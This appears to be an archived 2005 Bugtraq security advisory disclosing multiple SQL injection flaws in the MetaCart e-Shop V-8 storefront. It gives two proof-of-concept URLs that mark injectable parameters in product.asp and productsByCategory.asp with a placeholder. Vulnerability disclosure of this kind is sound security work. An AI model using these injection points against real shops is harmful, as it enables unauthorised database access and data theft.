[38594] in bugtraq

home	help	back	first	fref	pref	prev	next	nref	lref	last	post

Multiple SQL Injections in MetaCart e-Shop V-8

daemon@ATHENA.MIT.EDU (dcrab)
Tue Apr 26 14:28:54 2005

Date: 26 Apr 2005 21:44:19 -0000
Message-ID: <20050426214419.2031.qmail@www.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: dcrab <dcrab@hackerscenter.com>
To: bugtraq@securityfocus.com



Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/

Get Dcrab's Services to audit your Web servers, scripts, networks, etc. 
Learn more at http://www.digitalparadox.org/services.ah

Severity: High
Title: Multiple SQL Injections in MetaCart e-Shop V-8
Date: 27/04/2005

Vendor: MetaCart
Vendor Website: www.metalinks.com
Summary: There are, multiple sql injections in metacart e-shop v-8.


Proof of Concept Exploits: 

http://example.com/eshopv-8/product.asp?intProdID='SQL_INJECTION&amp%3bstrCatalog_NAME=&amp%3bstrSubCatalog_NAME=&amp%3bstrSubCatalogID=&amp%3bintCatalogID=10001&amp%3bCurCatalogID=
SQL INJECTION


http://example.com/eshopv-8/productsByCategory.asp?intCatalogID=&amp%3bpage=2&amp%3bstrCatalog_NAME='SQL_INJECTION
SQL INJECTION


Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah

Author: 
These vulnerabilties have been found and released by Diabolic Crab, Email: 
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact 
me regarding these vulnerabilities. You can find me at, 
http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my 
soon to come out book on Secure coding with php.

home	help	back	first	fref	pref	prev	next	nref	lref	last	post